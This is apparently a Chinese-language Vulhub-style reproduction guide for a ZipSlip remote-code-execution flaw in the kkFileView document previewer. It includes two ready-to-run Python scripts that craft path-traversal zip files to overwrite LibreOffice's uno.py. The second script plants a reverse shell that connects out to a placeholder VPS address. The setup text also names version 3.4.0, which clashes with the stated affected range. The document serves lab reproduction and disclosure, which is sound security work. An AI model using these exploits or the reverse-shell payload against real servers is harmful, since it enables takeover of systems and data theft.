kkFileView ZipSlip 远程命令执行漏洞
漏洞描述
kkFileView 是使用 Spring Boot 搭建的文档在线预览解决方案,能够支持多种主流办公文档的在线预览,如 doc、docx、xls、xlsx、ppt、pptx、pdf、txt、zip、rar 等格式。此外,还可以预览图片、视频、音频等多种类型的文件。
在 kkFileView 4.4.0-beta 以前,存在一处 ZipSlip 漏洞。攻击者可以利用该漏洞,向服务器任意目录下写入文件,导致任意命令执行漏洞。
参考链接:
- https://github.com/kekingcn/kkFileView/issues/553
- https://github.com/luelueking/kkFileView-v4.3.0-RCE-POC
披露时间
2024-04-15
漏洞影响
v4.2.0 <= kkFileView <= v4.4.0-beta
环境搭建
Vulhub 执行如下命令启动一个 kkFileView 3.4.0 服务器:
docker compose up -d
服务启动后,访问 http://your-ip:8012
即可查看到首页。
漏洞复现
目标在使用 odt 转 pdf 时会调用系统的 Libreoffice,而该进程会调用库中的 uno.py
文件,因此可以覆盖 uno.py
文件的内容实现 RCE。
首先,修改 poc.py:
import zipfile
if __name__ == "__main__":
try:
binary1 = b'vulhub'
binary2 = b"import os\nos.system('touch /tmp/success')\n"
zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
# info = zipfile.ZipInfo("test.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
zipFile.close()
except IOError as e:
raise e
执行 poc.py
,生成 POC 文件,test.zip
将被写入当前目录。
python poc.py
然后,使用 kkFileView 服务上传 test.zip
:
点击 test.zip
的“预览”按钮,可以看到 zip 压缩包中的文件列表:
最后,上传任意一个 odt 文件,例如 sample.odt,发起 Libreoffice 任务:
点击 sample.odt
的“预览”按钮,触发代码执行漏洞:
可见,touch /tmp/success
已经成功被执行:
反弹 shell:
import zipfile
if __name__ == "__main__":
try:
binary1 = b'whoami'
binary2 = b'import socket,subprocess,os\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("<your-vps-ip>",8888));os.dup2(s.fileno(),0)\nos.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\np=subprocess.call(["/bin/sh","-i"])\n'
zipFile = zipfile.ZipFile("exp.zip", "a", zipfile.ZIP_DEFLATED)
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
zipFile.close()
except IOError as e:
raise e